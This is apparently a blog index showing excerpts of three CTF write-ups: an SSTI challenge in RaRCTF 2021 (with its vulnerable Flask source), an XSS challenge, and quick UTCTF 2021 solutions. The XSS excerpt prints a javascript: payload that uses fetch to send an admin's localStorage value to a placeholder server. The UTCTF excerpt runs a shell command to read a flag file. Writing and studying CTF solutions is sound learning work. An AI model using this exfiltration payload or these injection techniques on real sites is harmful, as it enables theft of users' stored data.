RaRCTF 2021: MAAS 2 + Unintended Solutions

MAAS 2 // Notes Source was the same from MAAS 1 (and will be the same for MAAS 3). MAAS 2 involved the ’notes’ part of MAAS, where you are prompted to register a user and afterwards add key:val attributes to yourself, give yourself a bio, or transfer key:value attributes to another user. The provided source has some interesting code: notes/app.py @app.route('/useraction', methods=["POST"]) def useraction(): mode = request.form.get("mode") username = request.form.get("username") if mode == "register": r = requests.get('http://redis_userdata:5000/adduser') port = int(r.text) red = redis.Redis(host="redis_users") red.set(username, port) return "" elif mode == "adddata": red = redis.Redis(host="redis_users") port = red.get(username).decode() requests.post(f"http://redis_userdata:5000/putuser/{port}", json={ request.form.get("key"): request.form.get("value") }) return "" elif mode == "getdata": red = redis.Redis(host="redis_users") port = red.get(username).decode() r = requests.get(f"http://redis_userdata:5000/getuser/{port}") return jsonify(r.json()) elif mode == "bioadd": bio = request.form.get("bio") bio.replace(".", "").replace("_", "").\ replace("{", "").replace("}", "").\ replace("(", "").replace(")", "").\ replace("|", "") bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'{{data["\g<1>"]}}', bio) red = redis.Redis(host="redis_users") port = red.get(username).decode() requests.post(f"http://redis_userdata:5000/bio/{port}", json={ "bio": bio }) return "" elif mode == "bioget": red = redis.Redis(host="redis_users") port = red.get(username).decode() r = requests.get(f"http://redis_userdata:5000/bio/{port}") return r.text elif mode == "keytransfer": red = redis.Redis(host="redis_users") port = red.get(username).decode() red2 = redis.Redis(host="redis_userdata", port=int(port)) red2.migrate(request.form.get("host"), request.form.get("port"), [request.form.get("key")], 0, 1000, copy=True, replace=True) return "" @app.route("/render", methods=["POST"]) def render_bio(): data = request.json.get('data') if data is None: data = {} return render_template_string(request.json.get('bio'), data=data) The relevant parts are when mode is equal to bioadd. There’s a pretty hefty sanitizer in play that removes all relevant characters required for an SSTI. This is further supplemented by the endpoint to /render, which takes your input and passes it into render_template_string. TL;DR: Server-Side Template Injection involves injecting code into template expressions that are evaluated on the server. Essentially, if you have an app vulnerable to SSTI, then you should be able to inject any expression into {{double curly brackets}} and that expression would be evaluated. ...

Aug 20, 2021 · 731 words · Vie

RaRCTF2021: Some simpler web probz

Fancy Button Generator // FBG A simple xss challenge with the slightest of twists: instead of stealing admin cookies, you’re stealing admin’s localstorage values. This was possible because the admin, which was a puppetteer chrome browser, was operating in no-sandbox mode. Insert as your payload: title: eh link: javascript:fetch('your.server?fleg='%2B(window.localStorage.getItem("flag"))); And report to admin. Careful with the wait times… NOTE: I first-blooded this challenge before certain measures were implemented. There were some issues with FBG throughout the competition that involved the organizers making amendments and introducing a pow to help with the stability of the infrastructure. I’m not aware of how the solution would have looked with the accompanying pow, unfortunately. ...

Aug 9, 2021 · 950 words · Vie

UTCTF 2021

Lightning Round The first few web challenges were pretty trivial so I’ll do super quick, 2-sentence descriptions on how to solve them. Source it! Inspect source. You’ll find it. Oinker Make an oink with the exact same content and realize that each oink has an allocated place in the webpage’s directory. (Example - inputting alert(1); leads to oink endpoint 64). Go to \oink\2 to get the flag. Fastfox (easy way) Intended (hard) solution was escalating a JIT bug, which I will definitely research more of so expect part 2 ;) but the easy way was determining what functions were available in the scope of Bob’s jsshell. Some recon shows us that os.system() is in the scope, so os.system('cat flag.txt') gives you the flag. ...

Mar 14, 2021 · 607 words · Vie